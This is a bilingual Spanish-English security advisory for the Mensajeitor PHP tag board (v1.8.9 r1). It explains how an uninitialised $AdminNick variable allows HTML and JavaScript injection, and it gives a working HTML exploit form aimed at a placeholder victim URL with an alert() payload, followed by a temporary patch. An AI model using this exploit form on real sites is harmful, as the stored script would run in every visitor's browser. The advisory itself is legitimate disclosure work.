|
Mensajeitor ( http://www.mensajeitor.com )
es un tag board, en el cual los visitantes pueden insertar su nick y un
mensaje en la página web donde se encuentra instalado; se puede
descargar para instalar en cualquier pagina web o un modulo que se
integra en PHP-Nuke. Las pruebas realizadas han sido sobre la versión
v1.8.9 r1, por lo cual las versiones anteriores tambien pueden ser
vulnerables."
Mensajeitor is
a kind of tag board, in which the visitors can insert his nick and a
message in the web page where its installed. The tests have been on
the version v1.8.9 r1, thus the previous versions must be vulnerable
also.
Código:
for($i=0;$i<count($NicksRegs);$i++) {
list($admin_nick,$admin_pass) = explode(":",$NicksRegs[$i]);
if ($nick == $admin_nick) {
$cadena_final .= "<span class=\"admin\">".$nick."</span>";
$AdminNick = "si";
}
}
if ($AdminNick != "si") {
$cadena_final .= "<acronym title='".nickinfo($nick_info)."'>$nick</acronym>";
}
En el código anterior, se comprueba si el nick que vamos a usar es el
del admin y si lo es, da un valor de como mostrará el texto en la
variable $cadena_final, fijando el valor "si" a la variable AdminNick
en caso de ser el administrador. Si AdminNick no es "si", fija el texto
como un nick normal.
El problema esta en que en ningun momento unsetea AdminNick , ni
pone un else si el nick no es del de admin y pusiera $AdminNick="no".
Así que cuando se envian las variables para insertar un comentario
nuevo, podemos añadir AdminNick=si , como el nick que usaremos no es el
de admin , no pondrá valor a $cadena_final , pero como $AdminNick
aparece como "si" , tampoco dará valor de usuario normal, por lo que
$cadena_final en ningun momento le da valor alguno, es entonces cuando
podemos también enviarle que valor queremos que tenga.
El valor que se le dará será </table> al principio para que
cierre la tabla e interprete el codigo que se le inserte, despues de
esto podemos poner codigo html, javascript, vbs, o lo que se quiera.
In the previous code, it is verified if nick that we are going to use is the one of admin and if it is it, gives a value of as it shows the text in the variable $cadena_final, fixing the value "si" in the variable AdminNick to case of being the administrator. If AdminNick is not "si", it fixes the text like a normal nick.
The problem is that AdminNick is never unset and no puts an 'else' if nick is not admin.
- 3 - Forma de explotar esta vulnerabilidad - How to exploit it
Solo hay que cambiar "http://www.victima.com/mensajeitor.php" por la web vulnerable.
Only change "http://www.victima.com/mensajeitor.php" with the vulnerable web.
--------------------- CUT HERE ---------------------
<html>
<head><title>Mensajeitor Exploit</title></head>
<body>
Inyeccion codigo en Mensajeitor =< v1.8.9 r1<br><br>
<form name="form1" method="post" action="http://www.victima.com/mensajeitor.php">
<input type="text" name="nick" size="10" value="Nick" maxlength="9"><br>
<input type="text" name="titulo" size="21" value="Mensaje"><br>
<input type="text" name="url" size="21" value="http://"><br>
<input type="hidden" name="AdminNick" value="si"><br>
Introduce codigo a insertar (</table> debe incluirse al principio)<br>
<input type="text" name="cadena_final" size="75%"
value="</table><script>alert('hacked
;)')</script>"><br>
<input type="submit" name="enviar" value="Enviar" class="form"><br>
</form>
MensajeitorPHP propiedad de aaff.<br>
By Jordi Corrales (Shell Security Group, http://www.shellsec.net)
</body></html>
--------------------- CUT HERE ---------------------
Como solucion temporal hasta que salga una corrección oficial podemos poner en mensajeitor.php la siguiente linea:
if ($cadena_final) { unset($cadena_final); }
(antes de $nick = htmlspecialchars($nick);)
Temporary solution:
if ($cadena_final) { unset($cadena_final); }
(before $nick = htmlspecialchars($nick);)
- 5 - Créditos - Credits
|